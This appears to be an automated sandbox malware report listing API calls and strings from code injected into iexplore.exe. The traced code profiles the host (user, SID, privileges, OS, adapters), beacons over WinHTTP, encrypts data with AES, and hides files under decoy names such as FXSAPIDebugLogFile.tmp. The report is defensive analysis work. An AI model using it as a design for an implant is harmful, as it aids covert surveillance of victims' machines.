Part of subcall function 00517B78: WinHttpCloseHandle.WINHTTP(?), ref: 00517C35
Part of subcall function 00517B78: WinHttpCloseHandle.WINHTTP(00000000), ref: 00517C38

Part of subcall function 00517535: GetSystemInfo.KERNELBASE(00000000,80000002,?,?,00000000,00020019,00000340), ref: 00517672

GlobalMemoryStatusEx.KERNELBASE(00000000,?,00000000,?), ref: 00517CCD

Part of subcall function 00516653: free.MSVCRT(00000000,00513A3A), ref: 0051665E

Part of subcall function 00517143: LoadLibraryA.KERNEL32(Netapi32), ref: 00517177
Part of subcall function 00517143: GetProcAddress.KERNELBASE(00000000), ref: 0051717E
Part of subcall function 00517143: LoadLibraryA.KERNEL32(Netapi32), ref: 00517197
Part of subcall function 00517143: GetProcAddress.KERNEL32(00000000), ref: 0051719E
Part of subcall function 00517143: memset.MSVCRT ref: 005171B2
Part of subcall function 00517143: GetUserNameA.ADVAPI32(000001D0,?), ref: 005171CE
Part of subcall function 00517143: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000040), ref: 005171F2
Part of subcall function 00517143: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000210,00000040,00000000,00000000), ref: 0051725E
Part of subcall function 00517143: ConvertSidToStringSidA.ADVAPI32(?,?), ref: 0051726E

Part of subcall function 00516DF6: GetLocaleInfoA.KERNEL32(00000400,00000059,00000298,00000010,00000000,00000040,00000000), ref: 00516E2D
Part of subcall function 00516DF6: GetLocaleInfoA.KERNEL32(00000400,0000005A,000002A8,00000010), ref: 00516E4F
Part of subcall function 00516DF6: __swprintf_c_l.LIBCMT ref: 0051710B

Part of subcall function 00516D52: GetModuleHandleW.KERNEL32(kernel32,GetDiskFreeSpaceExW,00000040,?,?,00517D23,00000000,00000000), ref: 00516D70
Part of subcall function 00516D52: GetProcAddress.KERNEL32(00000000,?,?,00517D23,00000000,00000000), ref: 00516D77
Part of subcall function 00516D52: GetTempPathW.KERNEL32(00000104,00000000), ref: 00516D98
Part of subcall function 00516D52: GetDiskFreeSpaceExW.KERNELBASE(00000000,?,00000000,00000000,?,?,00517D23,00000000,00000000), ref: 00516DAD

Part of subcall function 005166E9: IsWow64Process.KERNELBASE(000000FF,00000340,?,?,?,005168F0,?,?,?,00000340,00000000), ref: 005166F4
Part of subcall function 005166E9: GetNativeSystemInfo.KERNEL32(?), ref: 005166FE

Part of subcall function 005165A8: _vsnprintf.MSVCRT ref: 005165D1

Strings

(32-bit), xrefs: 00517EAB
[GUEST], xrefs: 00517E3B
64bit, xrefs: 00517ED9
27Q, xrefs: 00517D5E, 00517E04, 00517F99
CPU: %d x %sArchitecture: %sRAM: %dMB free / %dMB total (%u%% used)Hard Disk: %dMB free / %dMB totalWindows Version: %s%s%s%s%sRegistered to: %s%s%s%s {%s}Locale: %s_%s (%s)User Info: %s%s%s%s%sSID: %s%s[Tasklist]%s[LocalAdapters], xrefs: 00517F6F
[ADMIN], xrefs: 00517E32
(64-bit), xrefs: 00517EA2
32bit, xrefs: 00517EE0, 00517F67
Unknown, xrefs: 00517E78

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005148A0, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 68

APIs

memset.MSVCRT ref: 005148B7
SHGetSpecialFolderPathA.SHELL32(00000000,-0000D007,0000001C,00000000), ref: 005148C4

Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A741
Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A788

CreateDirectoryA.KERNELBASE(-0000D007,00000000), ref: 005148E1
CreateDirectoryA.KERNELBASE(-0000D007,00000000), ref: 005148F5
CreateDirectoryA.KERNELBASE(-0000D007,00000000), ref: 00514909
___swprintf_l.LIBCMT ref: 0051493E

Strings

\Microsoft, xrefs: 005148CA
\Explorer\, xrefs: 005148F7
thumbcache_%X.db, xrefs: 00514930
\Windows, xrefs: 005148E3

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00517A1E, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 108

APIs

memset.MSVCRT ref: 00517A4A
SHGetSpecialFolderPathA.SHELL32(00000000,00000000,00000010,00000000), ref: 00517A5D

Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A741
Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A788

_findfirst.MSVCRT ref: 00517A87
realloc.MSVCRT ref: 00517B03
___swprintf_l.LIBCMT ref: 00517B2A
_findnext.MSVCRT ref: 00517B53

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

%s, xrefs: 00517B1B
\*.*, xrefs: 00517A63
..., xrefs: 00517AA8

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00514548, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171time

APIs

memset.MSVCRT ref: 00514583
GetLocalTime.KERNEL32(?,00000000,?,00000000), ref: 005145A6

Part of subcall function 0051841D: memset.MSVCRT ref: 00518446

GetNativeSystemInfo.KERNEL32(?), ref: 005145EB

Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7B5
Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7F0

memset.MSVCRT ref: 00514681

Part of subcall function 00512B8D: memset.MSVCRT ref: 00512BBC
Part of subcall function 00512B8D: wcsstr.MSVCRT ref: 00512BEA

Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051A9D3
Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051AA1C

memset.MSVCRT ref: 005146BC
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,000000AF,00000000,00000000), ref: 005146DB

Part of subcall function 0051A476: _errno.MSVCRT ref: 0051A48F
Part of subcall function 0051A476: memcpy.MSVCRT ref: 0051A4BB
Part of subcall function 0051A476: memset.MSVCRT ref: 0051A4CC
Part of subcall function 0051A476: _errno.MSVCRT ref: 0051A4DE

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

Oh,My God!, xrefs: 005145CA

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005121E5, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97

APIs

memset.MSVCRT ref: 00512208
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000020,?,00000020,?,?,00000000), ref: 0051221B
wcsstr.MSVCRT ref: 0051222A
_wtoi.MSVCRT ref: 0051223B
WinHttpConnect.WINHTTP(?,?,00000050,00000000,?,?,00000000), ref: 00512277
GetLastError.KERNEL32(?,?,00000000), ref: 00512284

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Part of subcall function 0051280C: memset.MSVCRT ref: 0051284B
Part of subcall function 0051280C: rand.MSVCRT ref: 00512862
Part of subcall function 0051280C: WinHttpOpenRequest.WINHTTP(?,GET,?,00000000,00000000,00000000,-002EDD5D,?,00000000,00000000,?,00000000), ref: 005128D5
Part of subcall function 0051280C: GetLastError.KERNEL32 ref: 005128E5
Part of subcall function 0051280C: WinHttpSetOption.WINHTTP(00000000,00000006,?,00000004), ref: 0051291B
Part of subcall function 0051280C: WinHttpQueryOption.WINHTTP(?,0000001F,?,?), ref: 00512949
Part of subcall function 0051280C: WinHttpSetOption.WINHTTP(?,0000001F,00003300,00000004), ref: 0051296A
Part of subcall function 0051280C: WinHttpSetOption.WINHTTP(?,0000002F,00000000,00000000), ref: 00512972
Part of subcall function 0051280C: memset.MSVCRT ref: 0051298A
Part of subcall function 0051280C: ___swprintf_l.LIBCMT ref: 005129A7
Part of subcall function 0051280C: WinHttpAddRequestHeaders.WINHTTP(?,?,?,20000000), ref: 005129E0
Part of subcall function 0051280C: GetLastError.KERNEL32 ref: 005129E6
Part of subcall function 0051280C: memset.MSVCRT ref: 00512A0D
Part of subcall function 0051280C: ___swprintf_l.LIBCMT ref: 00512A35
Part of subcall function 0051280C: WinHttpAddRequestHeaders.WINHTTP(?,?,?,20000000), ref: 00512A63
Part of subcall function 0051280C: GetLastError.KERNEL32 ref: 00512A69
Part of subcall function 0051280C: ___swprintf_l.LIBCMT ref: 00512A8D
Part of subcall function 0051280C: WinHttpAddRequestHeaders.WINHTTP(?,?,?,20000000), ref: 00512ABB
Part of subcall function 0051280C: GetLastError.KERNEL32 ref: 00512AC1
Part of subcall function 0051280C: WinHttpAddRequestHeaders.WINHTTP(?,?,?,20000000), ref: 00512B0D
Part of subcall function 0051280C: GetLastError.KERNEL32 ref: 00512B13
Part of subcall function 0051280C: WinHttpAddRequestHeaders.WINHTTP(?,?,?,20000000), ref: 00512B5F
Part of subcall function 0051280C: GetLastError.KERNEL32 ref: 00512B65

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

WinHttpConnect failed! - %d, xrefs: 0051228B

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005149DD, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73file

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000004,00000000,00000000), ref: 00514A11
memcpy.MSVCRT ref: 00514A35
??2@YAPAXI@Z.MSVCRT ref: 00514A3C

Part of subcall function 0051841D: memset.MSVCRT ref: 00518446

??3@YAXPAX@Z.MSVCRT ref: 00514A62
WriteFile.KERNEL32(?,?,00000269,?,00000000), ref: 00514A7D
CloseHandle.KERNEL32(?), ref: 00514A86

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

Ss)4:WKsRr(3/VJrQq&2.UIqPp%1-THp, xrefs: 00514A44

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F1694, Relevance: 10.6, APIs: 7, Instructions: 114library

APIs

memset.MSVCRT ref: 004F16EA
GetModuleHandleA.KERNEL32(?,?,00000000,00000000), ref: 004F171B
GetLastError.KERNEL32(?,00000000,00000000), ref: 004F1728
LoadLibraryExA.KERNELBASE(?,00000000,00000008,?,00000000,00000000), ref: 004F1736
GetProcAddress.KERNEL32(?,00000000,?,00000000,00000000), ref: 004F176C
GetProcAddress.KERNEL32(?,?,?,00000000,00000000), ref: 004F178C

Part of subcall function 004F32A0: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004F3CE2
Part of subcall function 004F32A0: UnhandledExceptionFilter.KERNEL32(004F6190), ref: 004F3CED
Part of subcall function 004F32A0: GetCurrentProcess.KERNEL32(C0000409), ref: 004F3CF8
Part of subcall function 004F32A0: TerminateProcess.KERNEL32(00000000), ref: 004F3CFF

GetLastError.KERNEL32(?,00000000,00000000), ref: 004F17DC

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 0051476E, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 102

APIs

Part of subcall function 00514548: memset.MSVCRT ref: 00514583
Part of subcall function 00514548: GetLocalTime.KERNEL32(?,00000000,?,00000000), ref: 005145A6
Part of subcall function 00514548: GetNativeSystemInfo.KERNEL32(?), ref: 005145EB
Part of subcall function 00514548: memset.MSVCRT ref: 00514681

rand.MSVCRT ref: 0051479C
??2@YAPAXI@Z.MSVCRT ref: 005147B4

Part of subcall function 005190CF: ??2@YAPAXI@Z.MSVCRT ref: 0051910D
Part of subcall function 005190CF: memcpy.MSVCRT ref: 0051911A
Part of subcall function 005190CF: memset.MSVCRT ref: 00519127
Part of subcall function 005190CF: memset.MSVCRT ref: 00519141
Part of subcall function 005190CF: memcpy.MSVCRT ref: 00519159
Part of subcall function 005190CF: ??3@YAXPAX@Z.MSVCRT ref: 005191AD

Part of subcall function 0051A476: _errno.MSVCRT ref: 0051A48F
Part of subcall function 0051A476: memcpy.MSVCRT ref: 0051A4BB
Part of subcall function 0051A476: memset.MSVCRT ref: 0051A4CC
Part of subcall function 0051A476: _errno.MSVCRT ref: 0051A4DE

??3@YAXPAX@Z.MSVCRT ref: 0051481E
??3@YAXPAX@Z.MSVCRT ref: 00514862

Part of subcall function 005130ED: WinHttpReceiveResponse.WINHTTP(?,00000000,?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 00513167
Part of subcall function 005130ED: GetLastError.KERNEL32(?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 00513171
Part of subcall function 005130ED: WinHttpSendRequest.WINHTTP(?,00000000,00000000,00000000,00000000,00000000,00000000,000004A9,000003E9,0000D10B,00000000,00000000,000003E9,?,?), ref: 00513188
Part of subcall function 005130ED: GetLastError.KERNEL32(?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 00513192
Part of subcall function 005130ED: WinHttpQueryHeaders.WINHTTP(?,00000013,00000000,00000000,00000000,00000000,?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 005131D0
Part of subcall function 005130ED: GetLastError.KERNEL32(?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 005131D2
Part of subcall function 005130ED: WinHttpQueryHeaders.WINHTTP(?,00000013,00000000,00000000,00000000,00000000,?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 005131EC
Part of subcall function 005130ED: _wtoi.MSVCRT ref: 005131F2
Part of subcall function 005130ED: WinHttpQueryAuthSchemes.WINHTTP(?,?,?,:EQ,?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 0051323C
Part of subcall function 005130ED: WinHttpSetCredentials.WINHTTP(?,:EQ,?,00000729,0000075B,00000000,?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 0051325A

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Strings

%d Start!, xrefs: 0051483F
AES Encrypt Content Data Fail!, xrefs: 00514867

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 0051494C, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61file

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0051496C
ReadFile.KERNEL32(00000000,?,00000269,?,00000000), ref: 00514993
CloseHandle.KERNEL32(00000000), ref: 0051499A
??2@YAPAXI@Z.MSVCRT ref: 005149A7

Part of subcall function 0051841D: memset.MSVCRT ref: 00518446

??3@YAXPAX@Z.MSVCRT ref: 005149CD

Strings

Ss)4:WKsRr(3/VJrQq&2.UIqPp%1-THp, xrefs: 005149AF

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00511098, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61

APIs

??2@YAPAXI@Z.MSVCRT ref: 005110AB
memset.MSVCRT ref: 005110B5
UrlMkGetSessionOption.URLMON(10000001,00000000,00000104,?,00000000), ref: 005110C9
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00511080,00000104,?,?,00511094,?,?,?,?,?,?,?), ref: 005110F0

Part of subcall function 0051A476: _errno.MSVCRT ref: 0051A48F
Part of subcall function 0051A476: memcpy.MSVCRT ref: 0051A4BB
Part of subcall function 0051A476: memset.MSVCRT ref: 0051A4CC
Part of subcall function 0051A476: _errno.MSVCRT ref: 0051A4DE

??3@YAXPAX@Z.MSVCRT ref: 00511117

Strings

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;, xrefs: 00511100

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00516716, Relevance: 9.4, APIs: 6, Instructions: 427registry

APIs

Part of subcall function 005166E9: IsWow64Process.KERNELBASE(000000FF,00000340,?,?,?,005168F0,?,?,?,00000340,00000000), ref: 005166F4
Part of subcall function 005166E9: GetNativeSystemInfo.KERNEL32(?), ref: 005166FE

Part of subcall function 0051663C: malloc.MSVCRT ref: 0051663D

Part of subcall function 0051668C: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00020019,00000000,?,005169F7,00000080,00000000,?,?,005169F7,?,?), ref: 005166CF
Part of subcall function 0051668C: RegCloseKey.ADVAPI32(00000000,?,?,005169F7,?,?,?,00000000,00020019), ref: 005166DA

_strdup.MSVCRT(?,?,?,?,?,00020019,?,?,?,?,00020019,?,?,?,00000000,00020019), ref: 00516AEA
_strdup.MSVCRT(?,?,?,?,?,00020019,?,?,?,?,00020019,?,?,?,?,00020019), ref: 00516B65
realloc.MSVCRT ref: 00516BD0

Part of subcall function 00516653: free.MSVCRT(00000000,00513A3A), ref: 0051665E

RegEnumKeyExA.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,80000002,?,00020019,?,?,?,00000340,00000000), ref: 00516C7E
realloc.MSVCRT ref: 00516CC2
RegCloseKey.ADVAPI32(?), ref: 00516D18

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Part of subcall function 00516667: RegOpenKeyExA.KERNEL32(00000340,?,00000000,?,?,?,0051696E,80000002,?,00020019,?,?,?,00000340,00000000), ref: 00516679

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F1A6D, Relevance: 9.1, APIs: 6, Instructions: 94

APIs

??2@YAPAXI@Z.MSVCRT ref: 004F1A8C
memset.MSVCRT ref: 004F1A9C
memcpy.MSVCRT ref: 004F1AB8
memcpy.MSVCRT ref: 004F1AE9
??3@YAXPAX@Z.MSVCRT ref: 004F1AFE

Part of subcall function 004F32A0: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004F3CE2
Part of subcall function 004F32A0: UnhandledExceptionFilter.KERNEL32(004F6190), ref: 004F3CED
Part of subcall function 004F32A0: GetCurrentProcess.KERNEL32(C0000409), ref: 004F3CF8
Part of subcall function 004F32A0: TerminateProcess.KERNEL32(00000000), ref: 004F3CFF

??2@YAPAXI@Z.MSVCRT ref: 004F1B1B

Part of subcall function 004F1B6D: __EH_prolog3_GS.LIBCMT ref: 004F1B77
Part of subcall function 004F1B6D: ??2@YAPAXI@Z.MSVCRT ref: 004F1BC6
Part of subcall function 004F1B6D: memset.MSVCRT ref: 004F1BD6
Part of subcall function 004F1B6D: ??2@YAPAXI@Z.MSVCRT ref: 004F1C4A
Part of subcall function 004F1B6D: memcpy.MSVCRT ref: 004F1C63

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 00514C71, Relevance: 9.0, APIs: 6, Instructions: 50network

APIs

memset.MSVCRT ref: 00514C9D
WSAStartup.WS2_32(00000002,?), ref: 00514CAE
gethostname.WS2_32(00000000,00000100), ref: 00514CC3
gethostbyname.WS2_32(00000000), ref: 00514CD3
inet_ntoa.WS2_32(?), ref: 00514CE3
WSACleanup.WS2_32 ref: 00514CF2

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005144A4, Relevance: 7.6, APIs: 5, Instructions: 68

APIs

??2@YAPAXI@Z.MSVCRT ref: 005144D4
memset.MSVCRT ref: 005144E0
memcpy.MSVCRT ref: 005144F8
??3@YAXPAX@Z.MSVCRT ref: 00514516
??3@YAXPAX@Z.MSVCRT ref: 00514520

Part of subcall function 0051476E: rand.MSVCRT ref: 0051479C
Part of subcall function 0051476E: ??2@YAPAXI@Z.MSVCRT ref: 005147B4
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 0051481E
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 00514862

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F1B6D, Relevance: 7.6, APIs: 5, Instructions: 65

APIs

__EH_prolog3_GS.LIBCMT ref: 004F1B77
??2@YAPAXI@Z.MSVCRT ref: 004F1BC6
memset.MSVCRT ref: 004F1BD6
??2@YAPAXI@Z.MSVCRT ref: 004F1C4A
memcpy.MSVCRT ref: 004F1C63

Part of subcall function 004F1A3C: __EH_prolog3.LIBCMT ref: 004F1A43
Part of subcall function 004F1A3C: ??3@YAXPAX@Z.MSVCRT ref: 004F1A52
Part of subcall function 004F1A3C: ??3@YAXPAX@Z.MSVCRT ref: 004F1A5E

Part of subcall function 004F1FDE: ??2@YAPAXI@Z.MSVCRT ref: 004F1FE3
Part of subcall function 004F1FDE: ??2@YAPAXI@Z.MSVCRT ref: 004F2015

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 00511B49, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30

APIs

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

WinHttpOpen.WINHTTP(00000000,00000001,00000000,00000000,00000000,?,?,00513E74,00000000,00000000,?), ref: 00511B60
GetLastError.KERNEL32 ref: 00511B6C

Part of subcall function 005121E5: memset.MSVCRT ref: 00512208
Part of subcall function 005121E5: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000020,?,00000020,?,?,00000000), ref: 0051221B
Part of subcall function 005121E5: wcsstr.MSVCRT ref: 0051222A
Part of subcall function 005121E5: _wtoi.MSVCRT ref: 0051223B
Part of subcall function 005121E5: WinHttpConnect.WINHTTP(?,?,00000050,00000000,?,?,00000000), ref: 00512277
Part of subcall function 005121E5: GetLastError.KERNEL32(?,?,00000000), ref: 00512284

Strings

OpenHttpByNoProxy WinHttpOpen Failed! - %d, xrefs: 00511B73
Try Http by no proxy., xrefs: 00511B4B

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F15F1, Relevance: 6.1, APIs: 4, Instructions: 64file

APIs

CreateFileMappingA.KERNEL32(000000FF,00000000,00000040,00000000,00000000,00000000), ref: 004F1625
MapViewOfFile.KERNELBASE(00000000,00000022,00000000,00000000,00000000), ref: 004F1634

Part of subcall function 004F1864: memmove.MSVCRT ref: 004F1879
Part of subcall function 004F1864: memmove.MSVCRT ref: 004F18B2

Part of subcall function 004F1694: memset.MSVCRT ref: 004F16EA
Part of subcall function 004F1694: GetModuleHandleA.KERNEL32(?,?,00000000,00000000), ref: 004F171B
Part of subcall function 004F1694: GetLastError.KERNEL32(?,00000000,00000000), ref: 004F1728
Part of subcall function 004F1694: LoadLibraryExA.KERNELBASE(?,00000000,00000008,?,00000000,00000000), ref: 004F1736
Part of subcall function 004F1694: GetProcAddress.KERNEL32(?,00000000,?,00000000,00000000), ref: 004F176C
Part of subcall function 004F1694: GetProcAddress.KERNEL32(?,?,?,00000000,00000000), ref: 004F178C
Part of subcall function 004F1694: GetLastError.KERNEL32(?,00000000,00000000), ref: 004F17DC

UnmapViewOfFile.KERNEL32(?), ref: 004F1657
CloseHandle.KERNEL32(?), ref: 004F1660

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 0051668C, Relevance: 3.0, APIs: 2, Instructions: 44registry

APIs

Part of subcall function 00516667: RegOpenKeyExA.KERNEL32(00000340,?,00000000,?,?,?,0051696E,80000002,?,00020019,?,?,?,00000340,00000000), ref: 00516679

RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00020019,00000000,?,005169F7,00000080,00000000,?,?,005169F7,?,?), ref: 005166CF
RegCloseKey.ADVAPI32(00000000,?,?,005169F7,?,?,?,00000000,00020019), ref: 005166DA

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

